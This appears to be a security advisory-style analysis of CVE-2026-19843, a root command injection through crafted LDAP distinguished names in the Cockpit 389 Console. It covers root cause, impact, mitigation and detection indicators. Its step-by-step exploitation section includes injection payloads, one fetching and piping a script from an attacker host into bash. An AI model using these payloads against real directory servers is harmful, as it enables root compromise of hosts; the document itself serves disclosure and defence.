CVE-2026-19843: 
Linux Red Hat Analyse et atténuation des vulnérabilités

CVE-2026-19843 is an OS command injection vulnerability in 389-ds-base affecting the Cockpit 389 Console's LDAP editor. The flaw allows an LDAP user with delegated create/rename privileges to craft a malicious distinguished name (DN) containing shell metacharacters; when a Cockpit administrator subsequently views the entry, the embedded shell command executes with root privileges on the directory server host. It affects Red Hat Directory Server deployments that include the cockpit-389-ds subpackage (plain RHEL 389-ds-base without the Cockpit console is not affected), spanning redhat-ds:11/389-ds-base, redhat-ds:12/389-ds-base, and 389-ds:1.4/389-ds-base. The vulnerability was reported by Andrew Rukin (Arenadata), filed in Red Hat Bugzilla on 2026-08-14, and publicly disclosed on 2026-09-07. It carries a CVSS v3.1 base score of 8.4 (High) (Red Hat CVE, GitHub Advisory).

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). Specifically, the Cockpit 389 Console's utils.jsx file — in functions getBaseLevelEntryAttributes() and runGenericSearch() (the latter reachable via retrieveAllAcis()) — constructs an ldapsearch command by concatenating a raw LDAP entry DN into a double-quoted string passed to /usr/bin/sh -c, executed via Cockpit's privileged superuser: true channel running as unrestricted root with no capability restriction or SELinux confinement. Because double-quoted shell strings do not block $(...) command substitution, and LDAP DN syntax does not require $, (, or ) to be escaped, an attacker can embed a payload such as uid=$(id > /tmp/pwned),ou=people,dc=example,dc=com as a DN. The injected command executes when a more-privileged Cockpit operator views the crafted entry or opens "Manage ACIs" on it — independent of whether the ldapsearch call itself succeeds (Red Hat Bugzilla, Red Hat CVE).

Successful exploitation grants the attacker arbitrary command execution as root on the directory server host, resulting in full compromise of confidentiality, integrity, and availability. An attacker can read or modify any files on the host, exfiltrate the entire LDAP directory database, install persistent backdoors, or crash the directory service. Because execution occurs via Cockpit's superuser channel with no SELinux confinement, there is no effective containment boundary, enabling lateral movement from the LDAP delegation scope to full host control (Red Hat CVE, Red Hat Bugzilla).

No public proof-of-concept exploit code or exploit kits have been identified at this time, and there is no evidence of in-the-wild exploitation (Red Hat CVE). The EPSS score is 0.0, reflecting low current exploitation probability (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires two preconditions — a delegated LDAP create/rename privilege and a separate privileged Cockpit operator viewing the crafted entry — which limits opportunistic exploitation but does not eliminate targeted attack risk in environments with multiple LDAP administrators.

1. Obtain delegated LDAP privileges: Acquire an LDAP account with delegated user_admin, group_admin, or Directory Administrators role scoped to a subtree (e.g., ou=people,dc=example,dc=com) that permits creating or renaming directory entries.
2. Craft a malicious DN: Construct an LDAP entry whose DN embeds a shell command substitution payload, for example: uid=$(curl http://attacker.com/shell.sh | bash),ou=people,dc=example,dc=com.
3. Create or rename the entry: Use standard LDAP tools (e.g., ldapadd or ldapmodify) to add or rename an entry with the malicious DN into the directory subtree where the delegated privilege applies.
4. Wait for administrator interaction: The payload triggers only when a Cockpit administrator with superuser access opens the Cockpit 389 Console and views the crafted entry or navigates to "Manage ACIs" on it.
5. Achieve root code execution: When the administrator views the entry, the Cockpit 389 Console calls getBaseLevelEntryAttributes() or runGenericSearch(), which passes the unescaped DN into a shell command executed via Cockpit's superuser: true channel as root — executing the attacker's payload with full root privileges on the host (Red Hat Bugzilla, Red Hat CVE).

• File System: Unexpected files created in world-writable directories (e.g., /tmp/pwned, /tmp/*.sh) owned by root but created around the time an administrator viewed the 389 Console; new cron jobs, SSH authorized keys, or SUID binaries added to the host.
• Logs: LDAP access logs (/var/log/dirsrv/slapd-*/access) showing creation or renaming of entries with DNs containing shell metacharacters such as $, (, ), or backticks; Cockpit journal entries (journalctl -u cockpit) showing superuser channel activity coinciding with unusual child process spawning.
• Process: Unexpected processes spawned as root by the Cockpit agent (e.g., cockpit-bridge, python3) including shells (/bin/bash, /bin/sh), network tools (curl, wget, nc), or scripting interpreters; outbound network connections from the directory server host to unknown external IPs initiated by root-owned processes.
• Network: Outbound HTTP/HTTPS or reverse shell connections from the directory server to attacker-controlled infrastructure, particularly if originating from a process with a parent of cockpit-bridge or sh (Red Hat Bugzilla).

Red Hat has acknowledged the vulnerability and a patch is in progress; specific fixed version numbers have not yet been published in the available advisories. As an interim workaround, Red Hat recommends restricting Cockpit 389 Console access to fully trusted administrators only, and restricting delegated LDAP add/rename privileges (user_admin, group_admin, Directory Administrators roles) to trusted accounts until a fix is available. Organizations should audit existing LDAP ACIs to identify accounts with delegated create/rename privileges over any subtree and revoke unnecessary delegations. Note that plain Red Hat Enterprise Linux deployments of 389-ds-base that do not include the cockpit-389-ds subpackage are not affected (Red Hat CVE).

Red Hat Product Security issued a detailed advisory classifying the vulnerability as Important, with an explanation of the CVSS scoring rationale emphasizing the two-precondition exploitation requirement. The vulnerability was reported by Andrew Rukin of Arenadata and confirmed by 389-ds-base maintainers following source-level analysis and a full end-to-end reproduction against a running ns-slapd + Cockpit stack (Red Hat Bugzilla, Red Hat CVE). Social media activity has been limited to automated CVE tracking posts on platforms such as Bluesky.